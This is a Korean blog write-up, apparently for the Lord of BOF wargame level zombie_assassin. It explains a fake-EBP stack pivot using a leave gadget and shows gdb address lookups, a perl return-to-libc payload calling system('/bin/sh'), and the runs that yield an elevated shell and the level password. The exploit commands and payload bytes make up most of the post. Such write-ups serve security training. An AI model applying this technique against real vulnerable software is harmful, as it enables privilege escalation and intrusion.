소스를 보면 FEBP라고 주석에 되어있다.
이는 fake ebp를 이야기 하는 것 같다.
왜냐하면 strncpy를 통해서 48만큼만 복사하는데 이것은 ret이후에는 덮어 씌울수가 없다는것을 뜻하는데
ret을 stack 또는 lib의 주소도 못넣게 해놓았기 때문이다.
나는 이번 공격을 이전의 assassin에서 사용한 공격을 응용하여 ret에 leave의 주소를 넣어서 esp를 조작하겟다.
그래서 다른주소에서 ret을 뽑아낼 수 있도록 유도 할 것이다.
이는 buffer에 초기화 코드가 없기 때문에 가능한 공격이다.
payload의 작성
[&system][&exit][&"/bin/sh"]["x"*28][fake ebp-4][&leave]
leave주소 구하기
[assassin@localhost assassin]$ gdb -q zombie_assassin
(gdb) disas main
.
.
0x80484df <main+159>: leave
fake ebp주소 구하기
[assassin@localhost assassin]$ gdb -q zombie_assassin_1
(gdb) b *main+10
Breakpoint 1 at 0x804844a
(gdb) r aaaa
Starting program: /home/assassin/zombie_assassin_1 aaaa
/bin/bash: /home/bugbear/.bashrc: Permission denied
Breakpoint 1, 0x804844a in main ()
(gdb) x/x $esp
0xbffffc70: 0xbffffc98
공격
[assassin@localhost assassin]$ bash2
[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0
f\x40","x"x28,"\x4c\xfc\xff\xbf","\xdf\x84\x04\x08"'`
?@?@廈@xxxxxxxxxxxxxxxxxxxxxxxxxxxxL?욀?
Illegal instruction
[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0
f\x40","x"x28,"\x6c\xfc\xff\xbf","\xdf\x84\x04\x08"'`
?@?@廈@xxxxxxxxxxxxxxxxxxxxxxxxxxxxl?욀?
Segmentation fault
[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0
f\x40","x"x28,"\x5c\xfc\xff\xbf","\xdf\x84\x04\x08"'`
?@?@廈@xxxxxxxxxxxxxxxxxxxxxxxxxxxx\?욀?
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide
bash$ exit
exit
[assassin@localhost assassin]$
'wargame > LOB Redhat' 카테고리의 다른 글
succubus to nightmare (0) | 2014.05.27 |
---|---|
zombie_assasin to succubus (0) | 2014.05.27 |
giant to assasin (0) | 2014.05.27 |
bugbear to giant (0) | 2014.05.27 |
darkknight to bugbear (0) | 2014.05.27 |